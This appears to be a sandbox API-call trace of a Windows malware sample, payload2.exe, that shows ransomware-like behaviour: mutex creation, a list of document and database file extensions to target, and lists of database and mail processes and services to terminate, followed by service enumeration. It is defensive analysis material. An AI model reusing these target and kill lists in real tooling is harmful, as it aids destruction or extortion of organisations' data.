# Flog Txt Version 1
# Analyzer Version: 3.1.1
# Analyzer Build Date: Jul 31 2019 13:47:23
# Log Creation Date: 05.09.2019 00:39:22.749

Process:
	id = "1"
	image_name = "payload2.exe"
	filename = "c:\\users\\fd1hvy\\desktop\\payload2.exe"
	page_root = "0x6d250000"
	os_pid = "0x468"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\payload2.exe\" "
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1
	os_tid = 0x4a0

	[0039.048] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000
	[0039.048] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0
	[0039.048] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleW") returned 0x75ea50d0
	[0039.048] GetProcAddress (hModule=0x75e90000, lpProcName="FindNextFileW") returned 0x75efee40
	[0039.048] GetProcAddress (hModule=0x75e90000, lpProcName="FindClose") returned 0x75efed70
	[0039.048] GetProcAddress (hModule=0x75e90000, lpProcName="MoveFileW") returned 0x75ede500
	[0039.048] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileSizeEx") returned 0x75efef40
	[0039.048] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameW") returned 0x75ea5090
	[0039.048] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileAttributesW") returned 0x75efef10
	[0039.048] GetProcAddress (hModule=0x75e90000, lpProcName="ExitProcess") returned 0x75ea3cb0
	[0039.048] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineW") returned 0x75ea4cc0
	[0039.049] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameW") returned 0x75ed32c0
	[0039.049] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameA") returned 0x75ed3780
	[0039.049] GetProcAddress (hModule=0x75e90000, lpProcName="CreateMutexW") returned 0x75efeb70
	[0039.049] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenW") returned 0x75ea6c70
	[0039.049] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenA") returned 0x75ea6c50
	[0039.049] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcess") returned 0x75efea10
	[0039.049] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForSingleObject") returned 0x75efeca0
	[0039.049] GetProcAddress (hModule=0x75e90000, lpProcName="GetLogicalDrives") returned 0x75ea0d20
	[0039.049] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount") returned 0x75efdd50
	[0039.049] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteFileW") returned 0x75efed40
	[0039.049] GetProcAddress (hModule=0x75e90000, lpProcName="WideCharToMultiByte") returned 0x75ea6b10
	[0039.049] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75efebb0
	[0039.049] GetProcAddress (hModule=0x75e90000, lpProcName="Sleep") returned 0x75ea6760
	[0039.049] GetProcAddress (hModule=0x75e90000, lpProcName="LeaveCriticalSection") returned 0x77bfb250
	[0039.049] GetProcAddress (hModule=0x75e90000, lpProcName="ReadFile") returned 0x75eff090
	[0039.050] GetProcAddress (hModule=0x75e90000, lpProcName="CreateFileW") returned 0x75efed10
	[0039.050] GetProcAddress (hModule=0x75e90000, lpProcName="OpenMutexW") returned 0x75efebf0
	[0039.050] GetProcAddress (hModule=0x75e90000, lpProcName="EnterCriticalSection") returned 0x77bfb2d0
	[0039.050] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForMultipleObjects") returned 0x75efec80
	[0039.050] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiW") returned 0x75ea6bf0
	[0039.050] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiA") returned 0x75ea6bd0
	[0039.050] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteCriticalSection") returned 0x77bdfb90
	[0039.050] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseMutex") returned 0x75efec20
	[0039.050] GetProcAddress (hModule=0x75e90000, lpProcName="CloseHandle") returned 0x75efeab0
	[0039.050] GetProcAddress (hModule=0x75e90000, lpProcName="GetVersion") returned 0x75ea56c0
	[0039.050] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThread") returned 0x75ea46b0
	[0039.050] GetProcAddress (hModule=0x75e90000, lpProcName="ExpandEnvironmentStringsW") returned 0x75ea4a40
	[0039.050] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceCounter") returned 0x75ea5da0
	[0039.050] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceFrequency") returned 0x75ea5dc0
	[0039.050] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcessId") returned 0x75efea20
	[0039.051] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileAttributesW") returned 0x75eff100
	[0039.051] GetProcAddress (hModule=0x75e90000, lpProcName="GetVolumeInformationW") returned 0x75eff020
	[0039.051] GetProcAddress (hModule=0x75e90000, lpProcName="WriteFile") returned 0x75eff180
	[0039.051] GetProcAddress (hModule=0x75e90000, lpProcName="SetFilePointerEx") returned 0x75eff130
	[0039.051] GetProcAddress (hModule=0x75e90000, lpProcName="SetEndOfFile") returned 0x75eff0e0
	[0039.051] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileW") returned 0x75efedf0
	[0039.119] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcessHeap") returned 0x75ea51f0
	[0039.119] GetProcAddress (hModule=0x75e90000, lpProcName="HeapReAlloc") returned 0x77bef630
	[0039.120] GetProcAddress (hModule=0x75e90000, lpProcName="HeapAlloc") returned 0x77bf2dc0
	[0039.120] GetProcAddress (hModule=0x75e90000, lpProcName="HeapFree") returned 0x75ea57f0
	[0039.120] GetProcAddress (hModule=0x75e90000, lpProcName="CreatePipe") returned 0x75ea4590
	[0039.120] GetProcAddress (hModule=0x75e90000, lpProcName="SetHandleInformation") returned 0x75efeae0
	[0039.120] GetProcAddress (hModule=0x75e90000, lpProcName="CreateProcessW") returned 0x75ea4610
	[0039.120] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringW") returned 0x75ea4430
	[0039.120] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringA") returned 0x75ea4410
	[0039.120] GetProcAddress (hModule=0x75e90000, lpProcName="OpenProcess") returned 0x75ea5cc0
	[0039.120] GetProcAddress (hModule=0x75e90000, lpProcName="TerminateProcess") returned 0x75ea67e0
	[0039.120] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemTime") returned 0x75ea54e0
	[0039.120] GetProcAddress (hModule=0x75e90000, lpProcName="SystemTimeToFileTime") returned 0x75ea67a0
	[0039.120] GetProcAddress (hModule=0x75e90000, lpProcName="GetLastError") returned 0x75ea5010
	[0039.120] GetProcAddress (hModule=0x75e90000, lpProcName="CreateToolhelp32Snapshot") returned 0x75ededc0
	[0039.120] GetProcAddress (hModule=0x75e90000, lpProcName="Process32NextW") returned 0x75edf8f0
	[0039.120] GetProcAddress (hModule=0x75e90000, lpProcName="Process32FirstW") returned 0x75edf750
	[0039.120] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x761b0000
	[0041.739] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyExW") returned 0x761ce580
	[0041.739] GetProcAddress (hModule=0x761b0000, lpProcName="RegQueryValueExW") returned 0x761ce5a0
	[0041.739] GetProcAddress (hModule=0x761b0000, lpProcName="RegSetValueExW") returned 0x761cf530
	[0041.739] GetProcAddress (hModule=0x761b0000, lpProcName="RegCloseKey") returned 0x761ced60
	[0041.739] GetProcAddress (hModule=0x761b0000, lpProcName="OpenProcessToken") returned 0x761cefb0
	[0041.739] GetProcAddress (hModule=0x761b0000, lpProcName="GetTokenInformation") returned 0x761cee90
	[0041.740] GetProcAddress (hModule=0x761b0000, lpProcName="OpenSCManagerW") returned 0x761d0540
	[0041.740] GetProcAddress (hModule=0x761b0000, lpProcName="OpenServiceW") returned 0x761cfa20
	[0041.740] GetProcAddress (hModule=0x761b0000, lpProcName="CloseServiceHandle") returned 0x761cfc00
	[0041.740] GetProcAddress (hModule=0x761b0000, lpProcName="ControlService") returned 0x761e26d0
	[0041.740] GetProcAddress (hModule=0x761b0000, lpProcName="QueryServiceStatus") returned 0x761d2380
	[0041.740] GetProcAddress (hModule=0x761b0000, lpProcName="EnumDependentServicesW") returned 0x761e2f70
	[0041.740] GetProcAddress (hModule=0x761b0000, lpProcName="EnumServicesStatusExW") returned 0x761cfc80
	[0041.740] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74b70000
	[0045.064] GetProcAddress (hModule=0x74b70000, lpProcName="SystemParametersInfoW") returned 0x74b9f210
	[0045.064] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76480000
	[0051.995] GetProcAddress (hModule=0x76480000, lpProcName="ShellExecuteExW") returned 0x765e4730
	[0051.996] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77bb0000
	[0051.996] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070
	[0051.996] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x742a0000
	[0052.196] GetProcAddress (hModule=0x742a0000, lpProcName="WNetCloseEnum") returned 0x742a2640
	[0052.196] GetProcAddress (hModule=0x742a0000, lpProcName="WNetOpenEnumW") returned 0x742a2790
	[0052.196] GetProcAddress (hModule=0x742a0000, lpProcName="WNetEnumResourceW") returned 0x742a2410
	[0052.196] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x746a0000
	[0052.678] GetProcAddress (hModule=0x746a0000, lpProcName="WSAStartup") returned 0x746a5b40
	[0052.678] GetProcAddress (hModule=0x746a0000, lpProcName="socket") returned 0x746b4510
	[0052.678] GetProcAddress (hModule=0x746a0000, lpProcName="send") returned 0x746a5030
	[0052.678] GetProcAddress (hModule=0x746a0000, lpProcName="recv") returned 0x746b0c50
	[0052.678] GetProcAddress (hModule=0x746a0000, lpProcName="connect") returned 0x746a5410
	[0052.678] GetProcAddress (hModule=0x746a0000, lpProcName="closesocket") returned 0x746b0910
	[0052.678] GetProcAddress (hModule=0x746a0000, lpProcName="gethostbyname") returned 0x746d6cb0
	[0052.678] GetProcAddress (hModule=0x746a0000, lpProcName="inet_addr") returned 0x746b9160
	[0052.678] GetProcAddress (hModule=0x746a0000, lpProcName="ntohl") returned 0x746a49d0
	[0052.679] GetProcAddress (hModule=0x746a0000, lpProcName="htonl") returned 0x746a49d0
	[0052.679] GetProcAddress (hModule=0x746a0000, lpProcName="htons") returned 0x746b8ff0
	[0052.679] GetProcessHeap () returned 0x4f0000
	[0052.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20) returned 0x4faf98
	[0052.679] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=14386827069) returned 1
	[0052.679] GetTickCount () returned 0x114da63
	[0052.679] GetCurrentProcessId () returned 0x468
	[0052.680] GetTickCount () returned 0x114da63
	[0052.680] GetTickCount () returned 0x114da63
	[0052.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x20) returned 0x4fafc0
	[0052.681] GetVersion () returned 0x23f00206
	[0052.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7) returned 0x506e58
	[0052.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x507d80
	[0052.681] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507d80, Size=0x20) returned 0x4fafe8
	[0052.681] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4fafe8, Size=0x40) returned 0x507308
	[0052.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x50d210
	[0052.682] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_M77T2YA") returned 0x0
	[0052.682] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_M77T2YA") returned 0x1ec
	[0052.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506e58 | out: hHeap=0x4f0000) returned 1
	[0052.682] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0052.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507308 | out: hHeap=0x4f0000) returned 1
	[0052.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7) returned 0x506e38
	[0052.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x507d80
	[0052.682] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507d80, Size=0x20) returned 0x4fafe8
	[0052.682] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4fafe8, Size=0x40) returned 0x5079c8
	[0052.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x51d218
	[0052.683] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_M77T2YU") returned 0x0
	[0052.683] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_M77T2YU") returned 0x1f0
	[0052.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506e38 | out: hHeap=0x4f0000) returned 1
	[0052.683] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0052.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5079c8 | out: hHeap=0x4f0000) returned 1
	[0052.683] GetVersion () returned 0x23f00206
	[0052.683] GetCurrentProcess () returned 0xffffffff
	[0052.683] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1
	[0052.683] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1
	[0052.683] CloseHandle (hObject=0x1f4) returned 1
	[0052.683] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0
	[0052.683] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0
	[0052.683] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x505800
	[0052.683] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x507f30
	[0052.683] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507f30, Size=0x20) returned 0x4fafe8
	[0052.683] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4fafe8, Size=0x40) returned 0x507470
	[0052.683] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507470, Size=0x80) returned 0x506be8
	[0052.683] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506be8, Size=0x100) returned 0x507b78
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x34) returned 0x508e58
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x506d98
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x506db8
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x506da8
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x507e40
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x506de8
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x507f48
	[0052.684] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506de8, Size=0x8) returned 0x506df8
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x507d38
	[0052.684] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506df8, Size=0x10) returned 0x507f30
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x507f78
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x507d80
	[0052.684] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507f30, Size=0x20) returned 0x4fafe8
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x507eb8
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x507f90
	[0052.684] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506d98, Size=0x8) returned 0x506de8
	[0052.684] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506db8, Size=0x8) returned 0x506d98
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x506db8
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x507f30
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x506df8
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x507cd8
	[0052.684] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506df8, Size=0x8) returned 0x506e08
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x507d08
	[0052.684] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506e08, Size=0x10) returned 0x507cf0
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x507d98
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x506df8
	[0052.684] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507cf0, Size=0x20) returned 0x52d458
	[0052.684] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506de8, Size=0x10) returned 0x507e88
	[0052.684] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506d98, Size=0x10) returned 0x507cf0
	[0052.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x506e08
	[0052.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x507dc8
	[0052.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x506de8
	[0052.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x507ea0
	[0052.685] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506de8, Size=0x8) returned 0x506d98
	[0052.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x506e58
	[0052.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x507de0
	[0052.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x506de8
	[0052.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x507e10
	[0052.685] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506de8, Size=0x8) returned 0x506e18
	[0052.685] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507e88, Size=0x20) returned 0x52d480
	[0052.685] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507cf0, Size=0x20) returned 0x52d2c8
	[0052.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x506e48
	[0052.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x507cf0
	[0052.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x506de8
	[0052.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x507e58
	[0052.685] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x506de8, Size=0x8) returned 0x506e38
	[0052.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x5058a0
	[0052.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x505860
	[0052.685] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0052.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507b78 | out: hHeap=0x4f0000) returned 1
	[0052.685] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0
	[0052.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x507e88
	[0052.692] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507e88, Size=0x20) returned 0x52d340
	[0052.692] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d340, Size=0x40) returned 0x507668
	[0052.692] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507668, Size=0x80) returned 0x507b78
	[0052.692] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507b78, Size=0x100) returned 0x507b78
	[0052.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x507e88
	[0052.692] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507e88, Size=0x20) returned 0x52d278
	[0052.692] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52d278, Size=0x40) returned 0x507a10
	[0052.692] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x507a10, Size=0x80) returned 0x5080b0
	[0052.692] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5080b0, Size=0x100) returned 0x5080b0
	[0052.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x507e88
	[0052.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5319b8
	[0052.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5325c8
	[0052.692] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5319b8, Size=0x8) returned 0x531958
	[0052.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x505780
	[0052.693] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x531958, Size=0x10) returned 0x532760
	[0052.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x505660
	[0052.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x52d5e8
	[0052.693] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532760, Size=0x20) returned 0x52d408
	[0052.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1c) returned 0x52d700
	[0052.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x16) returned 0x505880
	[0052.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x52d430
	[0052.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x532730
	[0052.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x5318f8
	[0052.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x507470
	[0052.693] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5318f8, Size=0x8) returned 0x5318b8
	[0052.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x507590
	[0052.693] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5318b8, Size=0x10) returned 0x532718
	[0052.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x505820
	[0052.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x505720
	[0052.693] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x532718, Size=0x20) returned 0x52d4a8
	[0052.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x506180
	[0052.693] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0052.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507b78 | out: hHeap=0x4f0000) returned 1
	[0052.693] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0052.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5080b0 | out: hHeap=0x4f0000) returned 1
	[0052.693] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d728
	[0052.700] EnumServicesStatusExW (in: hSCManager=0x52d728, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0
	[0052.702] GetLastError () returned 0xea
	[0052.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1c7c) returned 0x534658
	[0052.703] EnumServicesStatusExW (in: hSCManager=0x52d728, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x534658, cbBufSize=0x1c7c, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x534658, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1
	[0052.704] CloseServiceHandle (hSCObject=0x52d728) returned 1
	[0052.705] lstrlenW (lpString="Appinfo") returned 7
	[0052.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0052.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0052.709] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0052.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0052.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0052.709] lstrlenW (lpString="AppXSvc") returned 7
	[0052.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0052.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0052.709] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0052.709] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0052.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0052.709] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0052.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0052.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0052.709] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0052.709] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0052.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0052.709] lstrlenW (lpString="Audiosrv") returned 8
	[0052.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0052.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0052.709] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
